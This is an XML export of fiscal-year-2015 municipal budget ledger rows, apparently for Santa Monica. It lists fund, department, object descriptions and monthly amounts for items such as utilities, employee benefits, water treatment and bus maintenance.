<row _id="18016"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579320.0</object><object_description>TRANSFER OUT TO CEMETERY FUND</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>233013</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>233013</total></row>
<row _id="18017"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579320.0</object><object_description>TRANSFER IN FROM GENERAL FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-233013</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-233013</total></row>
<row _id="18018"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTIL-LIGHT/POWER-CITY HALL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>172577</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>172577</total></row>
<row _id="18019"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTIL-LIGHT/POWER-3RD ST &amp; MISC</object_description><category_code>800.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>29922</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>29922</total></row>
<row _id="18020"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTIL-NATURAL GAS-CITY HAL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2100</total></row>
<row _id="18021"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTILITIES-WATER-CITY YARDS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>27795</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>27795</total></row>
<row _id="18022"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>51</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>51</total></row>
<row _id="18023"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>800000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>800000</total></row>
<row _id="18024"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>27000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>27000</total></row>
<row _id="18025"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2810</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2810</total></row>
<row _id="18026"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522125.0</object><object_description>UTIL - NATURAL GAS - PSF</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>20900</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20900</total></row>
<row _id="18027"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>22452</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>22452</total></row>
<row _id="18028"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>36274</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>36274</total></row>
<row _id="18029"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>176213</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>176213</total></row>
<row _id="18030"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>CUSTODIAL SUPP-TRIMANA</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5000</total></row>
<row _id="18031"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533221.0</object><object_description>BLDG/STR MAINT-COM FAC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>95000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>95000</total></row>
<row _id="18032"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533226.0</object><object_description>BLDG/STR MAINT-LIBRARY</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>170000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>170000</total></row>
<row _id="18033"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533223.0</object><object_description>BLDG/STR MAINT-ACCESS CENTER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>15000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15000</total></row>
<row _id="18034"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18035"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18036"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18037"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18038"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>9800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9800</total></row>
<row _id="18039"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>15800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15800</total></row>
<row _id="18040"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>420870</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>420870</total></row>
<row _id="18041"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6590</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6590</total></row>
<row _id="18042"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>9963</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9963</total></row>
<row _id="18043"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2177</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2177</total></row>
<row _id="18044"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>214</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>214</total></row>
<row _id="18045"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>441</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>441</total></row>
<row _id="18046"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511681.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18047"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>80615</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>80615</total></row>
<row _id="18048"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1405</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1405</total></row>
<row _id="18049"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>839441</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>839441</total></row>
<row _id="18050"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>90059</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>90059</total></row>
<row _id="18051"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>7476</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7476</total></row>
<row _id="18052"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>20819</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20819</total></row>
<row _id="18053"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>533010.0</object><object_description>PERSONAL PROTECTIVE EQUIPMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>45789</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>45789</total></row>
<row _id="18054"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577762.0</object><object_description>CDBG REIMB-PUBLIC WORKS</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-50000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-50000</total></row>
<row _id="18055"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-ST MAINTENA</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18056"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>58253</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>58253</total></row>
<row _id="18057"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>402970.0</object><object_description>SAMOHI TRACK RENTAL</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2015</fiscal_year><july>-2300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2300</total></row>
<row _id="18058"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>421096</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>421096</total></row>
<row _id="18059"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>544012.0</object><object_description>MEMBRANE REPLACEMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>276835</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>276835</total></row>
<row _id="18060"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>868</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>868</total></row>
<row _id="18061"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>619</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>619</total></row>
<row _id="18062"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1144</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1144</total></row>
<row _id="18063"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555013.0</object><object_description>OUTSIDE REPAIRS - SHOP EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>105852</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>105852</total></row>
<row _id="18064"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555018.0</object><object_description>OUTSIDE REPAIRS/SERV-BUS STOP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>133000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>133000</total></row>
